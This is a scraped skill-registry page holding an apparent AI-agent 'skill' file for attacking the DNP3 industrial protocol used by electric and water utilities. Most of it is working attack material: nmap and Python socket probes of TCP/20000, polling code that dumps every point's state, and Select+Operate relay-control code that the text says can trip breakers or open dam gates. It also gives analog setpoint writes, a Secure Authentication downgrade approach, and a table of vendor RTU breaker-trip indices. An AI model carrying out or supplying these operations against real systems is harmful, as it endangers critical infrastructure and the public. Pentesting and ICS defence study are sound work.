DNP3 attack — TCP/20000 (or 19999 serial-over-TCP) outstation enumeration, binary input / analog input poll, control relay output block (CROB) actuation, unsolicited reporting abuse, DNP3 Secure Authentication (DNP3-SA) downgrade, vendor-specific objects.
52
58%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.mdDNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.
# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24
# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5) # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.
aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:
DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:
# Send unauthenticated control with a "session key change" request
# If outstation accepts ANY pre-shared key, the implementation is broken.
# Check via opendnp3.SecureAuthentication examples.Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.
# dnp3-toolkit (pen-test focused)
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50
# Free Modbus / DNP3 simulator (for testing PoCs offline before live engagement)
opendnp3 examples — github.com/dnp3/opendnp3| Vendor RTU | Common control indices |
|---|---|
| GE D20 | Breaker trip = 0-9, recloser = 10-19 |
| SEL-2440 | Per-feeder breaker = 16-23 |
| Schweitzer RTAC | Indices vary heavily by configuration |
Always confirm point map (POINT.CSV or DNP3 device profile) before any write.
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.